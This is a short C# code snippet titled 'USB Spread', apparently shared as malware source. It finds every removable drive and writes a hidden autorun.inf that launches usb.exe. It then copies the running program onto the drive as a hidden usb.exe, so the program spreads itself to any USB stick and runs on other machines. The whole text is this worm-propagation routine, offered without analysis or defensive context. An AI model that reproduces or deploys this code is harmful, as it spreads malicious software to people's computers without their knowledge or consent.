USB Spread [N]

using System.IO;
...

DriveInfo[] drives = DriveInfo.GetDrives();
foreach (DriveInfo drive in drives)
{
if (drive.DriveType == DriveType.Removable)
{
StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
writer.WriteLine("[autorun]\n");
writer.WriteLine("open=usb.exe");
writer.WriteLine("action=Run win32");
writer.Close();
File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);
File.Copy(Application.ExecutablePath, drive.Name + "usb.exe", true);
File.SetAttributes(drive.Name + "usb.exe", File.GetAttributes(drive.Name + "usb.exe") | FileAttributes.Hidden);
}
}